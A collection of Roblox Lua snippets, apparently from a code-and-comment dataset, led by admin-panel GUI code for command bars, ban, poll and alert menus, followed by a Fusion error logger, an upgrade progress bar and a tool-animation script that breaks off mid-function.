local newValue = tonumber(textBox.Text)
if not newValue then
newValue = defaultValue
end
local loadingText = "..."
textBox.Text = loadingText
local success = main.signals.RequestCommand:InvokeServer(main.pdata.Prefix..commandName.." me "..newValue)
if not success then
textBox.Text = originalText
end
originalText = textBox.Text
end)
mainFrame.InputFrame.Visible = true
end
module:UpdateCommandMenu(commandName, frame)
mainFrame.ChangeStatus.MouseButton1Down:Connect(function()
mainFrame.Loading.Visible = true
if main.commandsToDisableCompletely[commandName] then
local commandNameToSend
if mainFrame.ChangeStatus.TextLabel.Text == "DISABLE" then
commandNameToSend = "!Un"..commandName
else
commandNameToSend = "!"..commandName
end
main.signals.RequestCommand:InvokeServer(commandNameToSend)
wait(1)
elseif main.commandsActive[commandName] then
main.commandsActive[commandName] = nil
else
main:GetModule("cf"):ActivateClientCommand(commandName)
wait(0.5)
end
module:UpdateCommandMenu(commandName, frame)
mainFrame.Loading.Visible = false
end)
-------------- << MENU TYPE 2 >> --------------
elseif menuType == 2 then
if commandName == "cmdbar2" then
dragBar.Title.Text = "CMDBAR2"
end
if main.device ~= "Mobile" then
frame.Position = UDim2.new(0, 5, 1, -75)
frame.Size = UDim2.new(0, 315, 0, 70)
end
local searchFrame = mainFrame.SearchFrame
local textBox = searchFrame.TextBox
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = textBox;
rframe = searchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
local loading = mainFrame.Loading
mainFrame.Execute.MouseButton1Down:Connect(function()
loading.Visible = true
if #textBox.Text > 1 then
local commandToRequest = textBox.Text
local firstChar = string.sub(commandToRequest,1,1)
if firstChar ~= main.settings.UniversalPrefix and firstChar ~= main.pdata.Prefix then
commandToRequest = main.pdata.Prefix..commandToRequest
end
local endChar = string.sub(commandToRequest,-1)
if endChar == " " then
commandToRequest = string.sub(commandToRequest,1,-1)
end
main.signals.RequestCommand:InvokeServer(commandToRequest)
end
loading.Visible = false
end)
-------------- << MENU TYPE 3 >> --------------
elseif menuType == 3 then
if commandName == "cmdbar2" then
dragBar.Title.Text = "CMDBAR2"
end
if main.device ~= "Mobile" then
frame.Position = UDim2.new(0, 5, 1, -110)
frame.Size = UDim2.new(0, 315, 0, 105)
end
local playerSearchFrame = mainFrame.PlayerFrame.SearchFrame
local playerTextBox = playerSearchFrame.TextBox
playerTextBox.Text = main.player.Name
--
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = playerTextBox;
rframe = playerSearchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
specificArg = "player";
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
--
local messageSearchFrame = mainFrame.MessageFrame.SearchFrame
local messageTextBox = messageSearchFrame.TextBox
messageTextBox.FocusLost:connect(function(enter)
if enter then
local targetPlayerText = playerTextBox.Text
local endChar = string.sub(targetPlayerText,-1)
if endChar == " " then
targetPlayerText = string.sub(targetPlayerText,1,-1)
end
local commandToRequest = main.pdata.Prefix.."talk"..main.pdata.SplitKey..targetPlayerText..main.pdata.SplitKey..messageTextBox.Text
messageTextBox.Text = ""
main.signals.RequestCommand:InvokeServer(commandToRequest)
end
end)
-------------- << MENU TYPE 4 (messages) >> --------------
elseif menuType == 4 then
local speaker = menuDetails[1]
local message = menuDetails[2]
local textBox = mainFrame.ReplyFrame.TextBox
local send = mainFrame.Send
dragBar.Title.Text = "Message from "..speaker.Name
mainFrame.MessageFrame.Message.Text = message
textBox.Changed:connect(function(property)
if property == "Text" then
if #textBox.Text > 0 then
send.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
send.AutoButtonColor = true
else
send.TextLabel.TextColor3 = Color3.fromRGB(125, 125, 125)
send.AutoButtonColor = false
end
end
end)
send.MouseButton1Down:Connect(function()
if send.AutoButtonColor then
module:DestroyCommandMenuFrame(frame)
main.signals.ReplyToPrivateMessage:InvokeServer{speaker, textBox.Text}
end
end)
-------------- << MENU TYPE 5 (logs) >> --------------
elseif menuType == 5 then
local log = menuDetails
local labelY = math.ceil(mainFrameTemplate.ScrollFrame.AbsoluteSize.Y/11)
local template = mainFrameTemplate.ScrollFrame.Template
local marginX = labelY/3
local scrollFrame = mainFrame.ScrollFrame
local loadMoreFrame = mainFrame.LoadMore
local displayingLabel = loadMoreFrame.Displaying
local loadMore = loadMoreFrame.Load
scrollFrame.Template:Destroy()
frame.Parent = main.gui
----
local function getLabelText(record)
local message = record.message
local timeAdded = record.timeAdded-- -(record.timeAdded-os.time())
local localTimeData = os.date("*t", timeAdded)
local speakerName = record.speakerName
local hour = localTimeData.hour
local minute = localTimeData.min
if hour < 10 then
hour = "0"..hour
end
if minute < 10 then
minute = "0"..minute
end
return("["..hour..":"..minute.."] "..speakerName..": "..message)
end
local logElements = {}
local linesToLoadAtOnce = 20
local currentDisplayIndex = 0
local maxX = 0
local function displayElements(index, range)
currentDisplayIndex = math.min(index + range - 1, #logElements)
for i = index, currentDisplayIndex do
local label = logElements[i]
local textLabel = label.TextLabel
local labelTextSize = main.textService:GetTextSize(textLabel.Text, tonumber(textLabel.TextSize), textLabel.Font, Vector2.new(math.huge, labelY))
local labelX = labelTextSize.X
if labelX > maxX then
maxX = labelX
end
label.Parent = scrollFrame
end
displayingLabel.Text = ("%d/%d"):format(currentDisplayIndex, #logElements)
local showLoadMore = currentDisplayIndex < #logElements
loadMoreFrame.Visible = showLoadMore
scrollFrame.Size = (showLoadMore and UDim2.new(1,0,0.84,0)) or UDim2.new(1,0,0.92,0)
scrollFrame.CanvasSize = UDim2.new(0, maxX, 0, currentDisplayIndex*labelY)
end
loadMore.MouseButton1Click:Connect(function()
displayElements(currentDisplayIndex + 1, linesToLoadAtOnce)
end)
local function clearLogElements()
logElements = {}
for i,v in pairs(scrollFrame:GetChildren()) do
if v.Name ~= "UIListLayout" then
v:Destroy()
end
end
displayingLabel.Text = "0/0"
currentDisplayIndex = 0
maxX = 0
loadMore.Visible = true
end
local function updateLog(newLog)
clearLogElements()
local maxX = 0
for i,record in pairs(newLog) do
local label = template:Clone()
local textLabel = label.TextLabel
--print(labelText, tonumber(textLabel.TextSize), tostring(textLabel.Font), tostring(Vector2.new(labelY, math.huge)).." = ".. tostring(labelTextSize))
textLabel.Text = getLabelText(record)
label.BackgroundColor3 = module:GetLabelBackgroundColor(i)
label.Visible = true
label.Name = "Record"..i
label.Size = UDim2.new(1,0,0,labelY)
textLabel.Position = UDim2.new(0, marginX, 0.15, 0)
textLabel.Size = UDim2.new(1,-marginX*2,0.7,0)
logElements[#logElements+1] = label
end
displayElements(1, linesToLoadAtOnce)
end
updateLog(log)
----
local searchDe = true
local textBox = mainFrame.SearchBar.Frame.TextBox
local specialChars = {}
textBox.FocusLost:connect(function(property)
if searchDe then
searchDe = false
local searchText = string.lower(textBox.Text)
local newLog = {}
for i,record in pairs(log) do
local labelText = string.lower(getLabelText(record))
if string.find(labelText, searchText, 1, true) then
table.insert(newLog, record)
end
end
updateLog(newLog)
setupOriginalZIndex(scrollFrame)
updateZIndex(main.commandMenus, scrollFrame)
wait(0.5)
searchDe = true
end
end)
----
-------------- << MENU TYPE 6 (banMenu) >> --------------
elseif menuType == 6 then
local scrollFrame = mainFrame.ScrollFrame
local defaultToggles = {["AG Server"] = "Current", ["AJ Length"] = "Infinite"}
local selectedToggles = {}
local playerSearchFrame = scrollFrame["AC Target Player"].SearchFrame
local playerTextBox = playerSearchFrame.TextBox
local playerValue = menuDetails.targetPlayer
local timeFrame = scrollFrame["AJA Time"]
local firstLabel = scrollFrame["AA Space"]
local finalLabel = scrollFrame["AZ Space"]
local banButton = scrollFrame["AX Ban"]
local reasonTextBox = scrollFrame["AM Reason"].SearchFrame.TextBox
local finalFunction = function(b, toggleName, selectFrame)
if b.Name == toggleName then
b.BackgroundTransparency = 0.1
b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
selectedToggles[selectFrame.Name] = toggleName
if selectFrame.Name == "AJ Length" then
if b.Name == "Time" then
timeFrame.Visible = true
else
timeFrame.Visible = false
end
end
else
b.BackgroundTransparency = 0.8
b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
end
end
local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel}
local setupFunction = function(selectFrame)
if selectFrame.Name == "AG Server" then
selectToggle(selectFrame, menuDetails.server, organisedVariables)
elseif selectFrame.Name == "AJ Length" then
selectToggle(selectFrame, menuDetails.length, organisedVariables)
end
end
setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, timeFrame, playerValue)
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = playerTextBox;
rframe = playerSearchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
specificArg = "player";
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
--Time
local timeDetails = menuDetails.timeDetails
if timeDetails then
timeDetails:gsub("%d+%a", function(c)
local d = tonumber(c:match("%d+"))
if d then
local timeType = c:match("%a")
local amount, frameName, newD = main:GetModule("cf"):GetTimeAmount(timeType, d)
timeFrame[frameName].TextBox.Text = newD
end
return
end)
end
--
local defaultReason = menuDetails.reason
if defaultReason and defaultReason ~= "" and defaultReason ~= " " then
reasonTextBox.Text = defaultReason
end
banButton.MouseButton1Down:Connect(function()
local banReason = reasonTextBox.Text
local playerName = playerTextBox.Text
local minutes, hours, days = timeFrame.Minutes.TextBox.Text, timeFrame.Hours.TextBox.Text, timeFrame.Days.TextBox.Text
local details = {server=selectedToggles["AG Server"], length=selectedToggles["AJ Length"], lengthTime=minutes.."m"..hours.."h"..days.."d"}
module:DestroyCommandMenuFrame(frame)
main.signals.RequestCommand:InvokeServer(main.pdata.Prefix.."directBan"..main.pdata.SplitKey..playerName..main.pdata.SplitKey..banReason, details)
end)
spawn(function()
wait(0.1)
updateCanvasSize(scrollFrame, finalLabel, firstLabel)
end)
-------------- << MENU TYPE 7 (global announcement) >> --------------
elseif menuType == 7 then
local scrollFrame = mainFrame.ScrollFrame
local defaultToggles = {["AG DisplayFrom"] = "Enabled"}
local selectedToggles = {}
local colorSearchFrame = scrollFrame["AJ MessageColor"].SearchFrame
local colorTextBox = colorSearchFrame.TextBox
local submitButton = scrollFrame["AX Submit"]
local loadingButton = scrollFrame["AZ Loading"]
local displayFromTitle = scrollFrame["AF Title"]
local titleTextBox = scrollFrame["AC MessageTitle"].SearchFrame.TextBox
local messageTextBox = scrollFrame["AM Message"].SearchFrame.TextBox
local finalFunction = function(b, toggleName, selectFrame)
if b.Name == toggleName then
b.BackgroundTransparency = 0.1
b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
selectedToggles[selectFrame.Name] = toggleName
else
b.BackgroundTransparency = 0.8
b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
end
end
local organisedVariables = {defaultToggles, finalFunction, scrollFrame, --[[finalLabel, firstLabel--]]}
displayFromTitle.TextLabel.Text = "Display 'From ".. main.player.Name.."'"
local setupFunction = function(selectFrame)
if selectFrame.Name == "AG DisplayFrom" then
selectToggle(selectFrame, "Enabled", organisedVariables)
end
end
setupDefaultToggles(defaultToggles, scrollFrame, colorTextBox, organisedVariables, setupFunction)
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = colorTextBox;
rframe = colorSearchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
specificArg = "color";
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
--Final result
local fr = frame.FinalResult
local frFrame = fr.Frame
local example = frFrame.Example
local serverInvocationFunction = function()
local displayFrom = false
if selectedToggles["AG DisplayFrom"] == "Enabled" then
displayFrom = true
end
local data = main.signals.RetrieveBroadcastData:InvokeServer{["Title"] = titleTextBox.Text, ["DisplayFrom"] = displayFrom, ["Color"] = colorTextBox.Text, ["Message"] = messageTextBox.Text}
return data
end
local retrievedDataFunction = function(data)
example.Title.Text = data.Title
local displayFrom = data.DisplayFrom
example.Pic.Visible = displayFrom
example.SubTitle.Visible = displayFrom
if displayFrom then
example.Pic.Image = module:GetUserImage(data.SenderId)
example.SubTitle.Text = "From ".. data.SenderName
end
example.Desc.TextColor3 = Color3.new(data.Color[1], data.Color[2], data.Color[3])
example.Desc.Text = data.Message
fr.Visible = true
end
local broadcastFunction = function()
main.signals.ExecuteBroadcast:InvokeServer()
end
setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction)
-------------- << MENU TYPE 8 (alert) >> --------------
elseif menuType == 8 then
local title = menuDetails[1]
local message = menuDetails[2]
local mute = dragBar.Mute
local muteLabel = mute.TextLabel
local soundPlayingIcon = "🔊"
local soundMutedIcon = "🔇"
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://"..main.pdata.AlertSoundId
sound.Volume = main.pdata.AlertVolume
sound.Pitch = main.pdata.AlertPitch
sound.Looped = true
sound.Parent = frame
sound:Play()
dragBar.Title.Text = title
mainFrame.MessageFrame.Message.Text = message
mute.MouseButton1Down:Connect(function()
if muteLabel.Text == soundPlayingIcon then
muteLabel.Text = soundMutedIcon
sound:Pause()
else
muteLabel.Text = soundPlayingIcon
sound:Play()
end
end)
-------------- << MENU TYPE 9 (pollMenu) >> --------------
elseif menuType == 9 then
local scrollFrame = mainFrame.ScrollFrame
local defaultToggles = {["AC Server"] = "Current", ["AG ShowResultsTo"] = "You"}
local selectedToggles = {}
local targetPlayerLabel = scrollFrame["AD Target Player"]
local playerSearchFrame = targetPlayerLabel.SearchFrame
local playerTextBox = playerSearchFrame.TextBox
local playerValue = menuDetails.targetPlayer
local firstLabel = scrollFrame["AA Space"]
local finalLabel = scrollFrame["AZ Space"]
local loadingButton = scrollFrame["AZ Loading"]
local submitButton = scrollFrame["AX Submit"]
local questionTextBox = scrollFrame["AP Question"].SearchFrame.TextBox
local finalFunction = function(b, toggleName, selectFrame)
local selectFrameName = selectFrame.Name
if b.Name == toggleName then
b.BackgroundTransparency = 0.1
b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
selectedToggles[selectFrame.Name] = toggleName
if selectFrameName == "AC Server" then
if b.Name == "Current" then
targetPlayerLabel.Visible = true
else
targetPlayerLabel.Visible = false
end
end
else
b.BackgroundTransparency = 0.8
b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
end
end
local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel}
local setupFunction = function(selectFrame)
if selectFrame.Name == "AC Server" then
selectToggle(selectFrame, menuDetails.server, organisedVariables)
elseif defaultToggles[selectFrame.Name] then
selectToggle(selectFrame, defaultToggles[selectFrame.Name], organisedVariables)
end
end
setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, nil, playerValue)
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = playerTextBox;
rframe = playerSearchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
specificArg = "player";
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
local defaultQuestion = menuDetails.question
if defaultQuestion and defaultQuestion ~= "" and defaultQuestion ~= " " then
questionTextBox.Text = defaultQuestion
end
--Answers
local answersLimit = 10
local answerTemplate = scrollFrame["AS Answer"]
local addAnswer = scrollFrame["AT AddAnswer"]
local answerBoxes = {}
answerTemplate.Visible = false
local function removeAnswerBox(box)
for i,v in pairs(answerBoxes) do
if v == box then
table.remove(answerBoxes, i)
break
end
end
box:Destroy()
updateCanvasSize(scrollFrame, finalLabel, firstLabel)
end
local function createAnswerBox()
local newBox = answerTemplate:Clone()
newBox.Visible = true
newBox.Parent = scrollFrame
newBox.RemoveBox.MouseButton1Down:Connect(function()
removeAnswerBox(newBox)
end)
table.insert(answerBoxes, newBox)
updateCanvasSize(scrollFrame, finalLabel, firstLabel)
return newBox
end
local defaultAnswers = menuDetails.answers
if type(defaultAnswers) == "table" then
for i, answer in pairs(defaultAnswers) do
if answer and answer ~= "" and answer ~= " " then
local box = createAnswerBox()
box.SearchFrame.TextBox.Text = answer
if #answerBoxes >= answersLimit then
break
end
end
end
end
addAnswer.Add.MouseButton1Down:Connect(function()
if #answerBoxes >= answersLimit then
main:GetModule("Notices"):Notice("Error", main.hdAdminCoreName, "Cannot exceed "..answersLimit.." answers!")
else
local box = createAnswerBox()
scrollFrame.CanvasPosition = Vector2.new(0, scrollFrame.CanvasPosition.Y + box.AbsoluteSize.Y)
end
end)
--VoteTime
local voteTimeLabel = scrollFrame["AC VoteTime"]
local voteTimeTextBox = voteTimeLabel.SearchFrame.TextBox
local originalVoteTime = voteTimeTextBox.Text
voteTimeTextBox.FocusLost:connect(function(property)
local newNumber = tonumber(voteTimeTextBox.Text)
if newNumber then
if newNumber < 1 then
newNumber = 1
elseif newNumber > 60 then
newNumber = 60
end
else
newNumber = originalVoteTime
end
voteTimeTextBox.Text = newNumber
originalVoteTime = newNumber
end)
--
spawn(function()
wait(0.1)
updateCanvasSize(scrollFrame, finalLabel, firstLabel)
end)
--Final result
local fr = frame.FinalResult
local frFrame = fr.Frame
local example = frFrame.Example
local serverInvocationFunction = function()
local voteTime = voteTimeTextBox.Text
local question = questionTextBox.Text
local server = selectedToggles["AC Server"]
local showResultsTo = selectedToggles["AG ShowResultsTo"]
local playerArg = playerTextBox.Text:gsub(" ", function(c) return "" end)
local answers = {}
for i,v in pairs(answerBoxes) do
table.insert(answers, v.SearchFrame.TextBox.Text)
end
--
local data = main.signals.RetrievePollData:InvokeServer{["VoteTime"] = voteTime, ["Question"] = question, ["Answers"] = answers, ["Server"] = server, ["ShowResultsTo"] = showResultsTo, ["PlayerArg"] = playerArg}
--
return data
end
local retrievedDataFunction = function(data)
setupPollResults(example, data)
fr.Visible = true--]]
end
local broadcastFunction = function()
main.signals.ExecutePoll:InvokeServer()
end
setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction)
-------------- << MENU TYPE 10 (pollSelection) >> --------------
elseif menuType == 10 then
main.audio.Notice:Play()
local scrollFrame = mainFrame.ScrollFrame
local questionLabel = scrollFrame.Question.TextLabel
local titleLabel = dragBar.Title
local data = menuDetails
local voteTime = data.VoteTime
local voteTimePlusOne = voteTime+1
setupPollResults(scrollFrame, data)
questionLabel.Text = data.Question
coroutine.wrap(function()
for i = 1, voteTime do
titleLabel.Text = string.upper(data.SenderName).."'S POLL (".. voteTimePlusOne-i..")"
wait(1)
end
module:DestroyCommandMenuFrame(frame)
end)()
-------------- << MENU TYPE 10 (pollSelection) >> --------------
elseif menuType == 11 then
main.audio.Notice:Play()
local barColors = main:GetModule("cf"):RandomiseTable{
Color3.fromRGB(220, 30, 30);
Color3.fromRGB(220, 93, 29);
Color3.fromRGB(188, 161, 23);
Color3.fromRGB(107, 186, 22);
Color3.fromRGB(19, 179, 46);
Color3.fromRGB(20, 197, 197);
Color3.fromRGB(24, 120, 255);
Color3.fromRGB(101, 24, 255);
Color3.fromRGB(217, 24, 255);
Color3.fromRGB(255, 24, 128);
}
local scrollFrame = mainFrame.ScrollFrame
local questionLabel = scrollFrame.Question.TextLabel
local titleLabel = dragBar.Title
local data = menuDetails
questionLabel.Text = data.Question
local resultTemplate = scrollFrame.ResultTemplate
resultTemplate.Visible = false
local totalResults = #data.Results
for i,result in pairs(data.Results) do
local answerButton = resultTemplate:Clone()
answerButton.Visible = true
answerButton.Name = "Answer"..i
answerButton.Bar.BackgroundColor3 = barColors[i] --Color3.fromHSV(i/10, 1, 1)
local resultTextStart = i..". "..result.Answer.." ("
if i == totalResults then
resultTextStart = result.Answer.." ("
answerButton.Bar.BackgroundColor3 = Color3.fromRGB(175, 175, 175)
end
answerButton.TextLabel.Text = resultTextStart.."0)"
answerButton.BackgroundColor3 = module:GetLabelBackgroundColor(i)
answerButton.Bar.Size = UDim2.new(0, 0, 1, 0)
delay((i-1)/10, function()
local tweenTime = 2
local tweenInfo = TweenInfo.new(tweenTime, Enum.EasingStyle.Quart)
local intValue = Instance.new("IntValue")
intValue.Value = 0
main.tweenService:Create(answerButton.Bar, tweenInfo, {Size = UDim2.new(result.Percentage, 0, 1, 0)}):Play()
main.tweenService:Create(intValue, tweenInfo, {Value = result.Votes}):Play()
intValue.Changed:Connect(function(newVal)
answerButton.TextLabel.Text = resultTextStart..newVal..")"
end)
wait(tweenTime)
intValue:Destroy()
end)
answerButton.Parent = scrollFrame
end
spawn(function()
wait(0.1)
updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question)
end)
-------------- << MENU TYPE 12 (globalAlert) >> --------------
elseif menuType == 12 then
local scrollFrame = mainFrame.ScrollFrame
local defaultToggles = {["AC Server"] = "Current"}
local selectedToggles = {}
local targetPlayerLabel = scrollFrame["AD Target Player"]
local playerSearchFrame = targetPlayerLabel.SearchFrame
local playerTextBox = playerSearchFrame.TextBox
local playerValue = menuDetails.targetPlayer
local firstLabel = scrollFrame["AA Space"]
local finalLabel = scrollFrame["AZ Space"]
local spaceX = scrollFrame["AX Space"]
local loadingButton = scrollFrame["AZ Loading"]
local submitButton = scrollFrame["AX Submit"]
local titleTextBox = scrollFrame["AG MessageTitle"].SearchFrame.TextBox
local messageTextBox = scrollFrame["AM Message"].SearchFrame.TextBox
local finalFunction = function(b, toggleName, selectFrame)
local selectFrameName = selectFrame.Name
if b.Name == toggleName then
b.BackgroundTransparency = 0.1
b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
selectedToggles[selectFrame.Name] = toggleName
if selectFrameName == "AC Server" then
if b.Name == "Current" then
targetPlayerLabel.Visible = true
spaceX.Visible = false
else
targetPlayerLabel.Visible = false
spaceX.Visible = true
end
end
else
b.BackgroundTransparency = 0.8
b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150)
end
end
local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel}
local setupFunction = function(selectFrame)
if selectFrame.Name == "AC Server" then
selectToggle(selectFrame, menuDetails.server, organisedVariables)
elseif defaultToggles[selectFrame.Name] then
selectToggle(selectFrame, defaultToggles[selectFrame.Name], organisedVariables)
end
end
setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, nil, playerValue)
local props = {
maxSuggestions = 3;
mainParent = mainFrame.Parent;
textBox = playerTextBox;
rframe = playerSearchFrame.ResultsFrame;
suggestionPos = 1;
suggestionDisplayed = 0;
forceExecute = false;
highlightColor = Color3.fromRGB(50,50,50);
otherColor = Color3.fromRGB(80,80,80);
suggestionLabels = {};
currentBarCommand = nil;
specificArg = "player";
}
main:GetModule("CmdBar"):SetupTextbox(commandName, props)
local defaultMessage = menuDetails.message
if defaultMessage and defaultMessage ~= "" and defaultMessage ~= " " then
messageTextBox.Text = defaultMessage
end
titleTextBox.Text = "Alert from ".. main.player.Name
--Final result
local fr = frame.FinalResult
local frFrame = fr.Frame
local example = frFrame.Example
local serverInvocationFunction = function()
local title = titleTextBox.Text
local message = messageTextBox.Text
local server = selectedToggles["AC Server"]
local playerArg = playerTextBox.Text:gsub(" ", function(c) return "" end)
--
local data = main.signals.RetrieveAlertData:InvokeServer{
["Title"] = title,
["Message"] = message,
["Server"] = server,
["PlayerArg"] = playerArg
}
--
return data
end
local retrievedDataFunction = function(data)
example.Title.Text = data.Title
example.Message.Text = data.Message
fr.Visible = true
end
local broadcastFunction = function()
main.signals.ExecuteAlert:InvokeServer()
end
setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction)
end
--
setupOriginalZIndex(frame, forceOnTop)
table.insert(main.commandMenus, frame)
updateZIndex(main.commandMenus)
--
end
frame.Parent = main.gui
frame.Visible = true
end
function module:GetMousePoint(hitPosition)
local rayMag1 = main.camera:ScreenPointToRay(main.lastHitPosition.X, main.lastHitPosition.Y)
local newRay = Ray.new(rayMag1.Origin, rayMag1.Direction * 100)
local hit, position = workspace:FindPartOnRay(newRay, main.player.Character)
return hit, position
end
function module:GetLabelBackgroundColor(i)
if i%2 == 0 then
return(Color3.fromRGB(50, 50, 50))
else
return(Color3.fromRGB(40, 40, 40))
end
end
function module:GenerateTagFromId(ID)
local values = main.alphabet
local totalValues = #values
local loops2 = math.ceil(ID/#values)
local loops3 = math.ceil(ID/(#values)^2)
local v1 = values[ID%totalValues] or values[totalValues]
local v2 = values[loops2%totalValues] or values[totalValues]
local v3 = values[loops3%totalValues] or values[totalValues]
return v3..v2..v1
end
function module:ClearPage(page)
for _,label in pairs(page:GetChildren()) do
if label.Name ~= "UIListLayout" and string.sub(label.Name,1,8) ~= "Template" then
label:Destroy()
elseif label:IsA("Frame") then
label.Visible = false
end
end
end
function module:UpdateClientData()
main.pdata = main.rfunction:InvokeServer("RetrievePlayerData")
end
|
--[[
Utility function to log a Fusion-specific error.
]]
|
local Package = script.Parent.Parent
local Types = require(Package.Types)
local messages = require(Package.Logging.messages)
local function logError(messageID: string, errObj: Types.Error?, ...)
local formatString: string
if messages[messageID] ~= nil then
formatString = messages[messageID]
else
messageID = "unknownMessage"
formatString = messages[messageID]
end
local errorString
if errObj == nil then
errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...)
else
formatString = string.gsub(formatString, "ERROR_MESSAGE", errObj.message)
errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...)
end
error(string.gsub(errorString, "\n", "\n "), 0)
end
return logError
|
-- Local Functions
|
local function makePurchase()
local newLevel = upgrades.Value + 1
BuyUpgradeEvent:FireServer()
showLevelUpBanner()
end
local function updateUpgrades()
local cost = GameSettings.upgradeCost(upgrades.Value)
local upgradeProgress = points.Value/cost
local starProgress = (points.Value % (cost / 3)) / (cost / 3)
prevStarProgress = currStarProgress
currStarProgress = starProgress
local tweenTime = 1 * math.abs(starProgress - prevStarProgress)
if starProgress <= prevStarProgress then
local tweenTimeToFull = 1 * (1-prevStarProgress)
tweenTime = 1 * (starProgress)
ProgressBarContainer:TweenPosition(UDim2.fromScale(0, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true)
ProgressBarFill:TweenPosition(UDim2.fromScale(0, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true)
wait(tweenTime)
if starProgress == currStarProgress then
ProgressBarContainer.Position = UDim2.fromScale(-0.56, 0)
ProgressBarFill.Position = UDim2.fromScale(0.56, 0)
ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.56 + math.min(1, starProgress) * 0.56, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
ProgressBarFill:TweenPosition(UDim2.fromScale(0.56 - math.min(1, starProgress) * 0.56, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
end
else
ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.5 + math.min(1, starProgress) * 0.5, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
ProgressBarFill:TweenPosition(UDim2.fromScale(0.5 - math.min(1, starProgress) * 0.5, 0),
Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true)
end
if points.Value >= cost then
-- 3 Stars, slight pause, upgrade
Star1.Visible = true
Star2.Visible = true
Star3.Visible = true
wait()
makePurchase()
elseif points.Value >= 2*cost / 3 then
-- 2 Stars
Star1.Visible = true
Star2.Visible = true
elseif points.Value >= cost / 3 then
-- 1 Star
Star1.Visible = true
else
-- 0 Stars
Star1.Visible = false
Star2.Visible = false
Star3.Visible = false
end
end
local function toggleEnabled()
if GameplayUi.Enabled then
ChangeController:FireServer(false)
else
ChangeController:FireServer(true)
end
end
local function toggleLobby()
if GameplayUi.Enabled then
-- Enter lobby and exit game
humanoidRoot.CFrame = SpawnLocation.CFrame + Vector3.new(0, 3, 0)
humanoid.WalkSpeed = 16
GameplayUi.Enabled = false
Tutorial.Enabled = false
Controller.Disabled = true
InteractionBillboard.Enabled = true
LobbyButton.Visible = false
end
end
|
-- Waits for the child of the specified parent
|
local function WaitForChild(parent, childName)
while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
return parent[childName]
end
local Tool = script.Parent
local Animations = {}
local MyHumanoid
local MyCharacter
local function PlayAnimation(animationName)
if Animations[animationName] then
Animations[animationName]:Play()
end
end
local function StopAnimation(animationName)
if Animations[animationName] then
Animations[animationName]:Stop()
end
end
function OnEquipped(mouse)
MyCharacter = Tool.Parent
MyHumanoid = WaitForChild(MyCharacter, 'Humanoid')
if MyHumanoid then
Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5'))
Animations['IdleAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3'))
Animations['OverheadAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'OverheadAnim2'))
